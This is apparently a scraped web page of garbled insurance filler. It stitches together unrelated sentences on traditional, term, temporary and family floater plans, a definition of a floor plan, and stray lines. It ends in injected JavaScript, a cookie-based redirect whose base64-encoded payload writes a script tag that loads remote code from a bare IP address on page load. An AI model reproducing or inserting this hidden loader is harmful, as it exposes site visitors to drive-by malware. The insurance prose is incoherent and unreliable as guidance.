It is advisable to consider the age, the number of dependents, time horizon, and personal requirements while deciding the appropriate insurance policy. Traditional plans include some advantages like tax benefits, risk cover, security, and fixed returns. According to question i will define each term separately- 1. Traditional insurance plans are more popular among investors who want security as well as returns on their investments. On a temporary insurance plan, you can decide if you want coverage from one to six months at a time, for a maximum of 12 months. A two-dimensional drawing of a building as seen from above with obscuring or irrelevant details such as roof removed, or of a floor of a building, revealing the internal layout; as distinct from the elevation. A plan year deductible resets on the renewal date of your company's plan. Term plans are pure life policies providing death benefits to the insured for an annual premium during a specific period of time. Please resolve it at the earliest. Insurance is compulsory, whether you opt for a group plan or an individual plan. Family Floater Policy - The entire family along with the insured is covered under a single plan, the premium is paid annually. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('